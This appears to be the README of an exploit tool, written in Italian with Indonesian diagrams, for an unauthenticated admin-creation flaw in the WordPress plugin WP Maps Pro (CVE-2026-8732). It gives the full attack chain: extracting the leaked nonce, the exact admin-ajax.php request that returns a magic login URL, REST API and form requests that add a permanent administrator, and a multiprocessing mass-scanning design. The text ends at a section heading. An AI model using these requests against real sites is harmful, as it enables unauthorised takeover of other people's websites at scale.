---

🎯 Informazioni sulla Vulnerabilità

Il plugin WordPress WP Maps Pro versione ≤ 6.1.0 presenta una vulnerabilità di escalation dei privilegi senza autenticazione. Un attaccante senza alcuna credenziale può creare un account amministratore e prendere il controllo del sito.

La vulnerabilità deriva dalla funzionalità "Temporary Access", progettata per il team di supporto del vendor FlipperCode, ma esposta al pubblico senza un'adeguata protezione.

Informazioni	Dettagli
CVE	CVE-2026-8732
CVSS	9.8 (CRITICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin	WP Maps Pro (wp-google-map-gold)
Vendor	FlipperCode
Versione Interessata	≤ 6.1.0
Versione Corretta	6.1.1
Tipo	Missing Authentication for Critical Function (CWE-306)
Impatto	Creazione di admin senza autenticazione → controllo totale del sito
Autore PoC	XENON1337

---

🔥 Tre Debolezze Correlate

┌──────────────────────────────────────────────────────────────┐
│  KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi        │
│  ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_           │
│  ▸ Siapapun bisa mengakses tanpa login                      │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 2 — Nonce Bocor di Halaman Publik               │
│  ▸ Objek wpgmp_local.nonce disematkan di setiap halaman    │
│  ▸ Penyerang bisa mengekstrak nonce dari HTML source        │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses             │
│  ▸ Fungsi callback hanya memverifikasi nonce               │
│  ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘

---

⚡ Catena d'Attacco — 8 Fasi

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 1  │──▶│ FASE 2   │──▶│ FASE 3   │──▶│ FASE 4   │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0?  │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    FASE 5 — EKSTRAKSI NONCE               │
  │                                                          │
  │  GRUP A (API)          GRUP B (Konten)      GRUP C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 6   │──▶│ FASE 7   │──▶│ FASE 8   │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN DIBUAT
                               Login: wp_xxxx / pass
                               Role: administrator

Dettagli di Ogni Fase

Fase	Nome	Funzione	Richieste
1	Resolve	Seleziona HTTPS/HTTP in parallelo	1
2	Check WP	Verifica che il target sia WordPress	0
3	Detect Plugin	Controlla gli indicatori WP Maps su 3 livelli	0-4
4	Version + WAF	Legge readme.txt / CSS ?ver= + rilevamento WAF	1
5	Estrazione Nonce	7 metodi di ricerca in 3 gruppi paralleli	0-150
6	Exploit	POST admin-ajax.php → crea un account admin temporaneo	1
7	Verifica	Accede alla magic URL → conferma la sessione admin	2
8	Aggiungi Admin	REST API (principale) + modulo WP-Admin (backup)	4

---

🛠️ Metodi di Attacco

Metodo 1: Exploit Principale — Creazione Admin Senza Autenticazione

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

Risposta se vulnerabile:

{"url":"https://target.com/?wpgmp_access=abc123def456"}

Questa magic URL fornisce un login automatico come fc_user_XXXXX (ruolo: administrator).

Metodo 2: Aggiungi Admin Permanente tramite REST API

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Metodo 3: Aggiungi Admin tramite Modulo WP-Admin (Backup)

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Punto chiave: pw_weak=1 è obbligatorio — WordPress rifiuta password deboli senza questo parametro.

---

📐 Architettura

CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│   ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│   ├── resolve()           → Fase 1: Pemilihan protokol
│   ├── check_wp()           → Fase 2: Verifikasi WordPress
│   ├── detect_plugin()      → Fase 3: Deteksi plugin + early nonce
│   ├── detect_version()     → Fase 4: Deteksi versi + WAF
│   ├── exploit()            → Fase 6: Eksploitasi inti
│   ├── verify()             → Fase 7: Verifikasi login admin
│   └── add_admin()          → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│   ├── producer()           → Baca domain dari mp.Queue
│   └── consumer() (N)       → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
    ├── single()             → Mode target tunggal (interaktif)
    └── multi()              → Mode multi-target (massal)

Flusso di Dati